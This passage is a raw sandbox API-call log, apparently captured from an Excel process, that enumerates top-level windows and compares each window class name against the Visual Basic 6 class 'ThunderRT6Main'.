GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.748] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0090.748] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0090.748] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0090.748] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0090.748] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0090.749] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0090.749] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.749] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0090.749] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0090.749] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0090.749] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0090.749] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0090.749] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0090.749] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.749] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0090.749] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0090.749] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0090.749] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0090.749] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0090.749] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0090.749] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0090.749] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0090.749] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.749] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0090.749] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0090.749] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0090.749] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0090.749] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0090.749] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0090.749] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.749] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0090.749] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0090.749] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0090.750] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0090.750] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0090.750] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0090.750] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.750] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0090.750] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0090.750] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0090.750] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0090.750] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0090.750] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0090.750] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.750] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0090.750] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0090.750] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0090.750] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0090.750] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0090.750] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0090.750] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.750] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0090.750] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0090.750] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0090.750] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0090.750] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0090.750] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0090.750] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.750] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0090.750] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0090.750] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0090.751] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0090.751] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0090.751] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0090.751] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.751] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0090.751] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0090.751] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0090.751] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0090.751] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0090.751] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0090.751] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.751] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0090.751] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0090.751] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0090.751] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0090.751] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0090.751] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0090.751] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0090.751] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0090.751] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0090.751] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0090.751] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.751] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0090.751] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0090.751] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0090.751] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0090.751] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.751] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.752] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0090.752] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0090.752] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0090.752] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0090.752] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0090.752] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0090.752] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0090.752] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0090.752] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0090.752] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0090.752] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0090.752] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.752] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.752] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0090.752] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0090.752] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0090.752] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0090.752] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0090.752] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0090.752] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.752] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.752] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0090.752] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0090.753] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0090.753] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0090.753] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0090.753] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0090.753] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.753] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.753] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0090.753] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0090.753] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0090.753] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0090.753] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0090.753] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0090.753] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.753] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.753] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0090.753] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0090.753] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0090.753] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0090.753] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0090.754] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0090.754] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0090.754] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0090.754] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0090.754] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0090.754] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.754] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.754] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0090.754] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0090.754] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0090.754] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0090.754] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0090.754] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0090.754] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.754] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.754] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0090.754] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0090.754] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0090.754] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0090.754] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0090.754] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0090.754] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.754] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.754] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0090.755] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0090.755] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0090.755] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0090.755] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0090.755] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0090.755] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.755] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.755] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0090.755] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0090.755] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0090.755] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0090.755] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0090.755] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0090.755] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.755] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.755] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0090.755] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0090.755] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0090.755] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0090.755] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0090.755] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0090.755] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.755] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.755] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0090.755] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0090.755] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0090.756] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0090.756] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0090.756] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0090.756] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.756] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.756] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0090.756] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0090.756] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0090.756] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0090.756] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0090.756] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0090.756] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.756] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.756] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0090.756] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0090.756] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0090.756] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0090.756] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0090.756] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0090.756] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.756] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.756] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0090.756] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0090.756] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0090.756] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0090.756] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0090.757] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0090.757] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.757] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.757] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0090.757] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0090.757] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0090.757] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0090.757] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0090.757] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0090.757] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.757] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.757] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0090.757] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0090.757] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0090.757] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0090.757] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0090.757] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0090.757] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.757] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.757] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0090.757] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0090.757] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0090.757] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0090.757] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0090.757] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0090.758] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.758] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.758] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0090.758] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0090.758] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0090.758] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0090.758] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0090.758] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0090.758] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.758] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.758] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0090.758] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0090.758] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0090.758] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0090.758] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0090.758] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0090.758] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.758] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.758] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0090.758] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0090.758] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0090.758] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0090.758] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0090.758] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0090.758] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.758] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.759] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0090.759] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0090.759] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0090.759] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0090.759] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0090.759] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0090.759] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0090.759] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0090.759] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0090.759] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0090.759] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0090.759] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0090.759] GetWindowThreadProcessId (in: 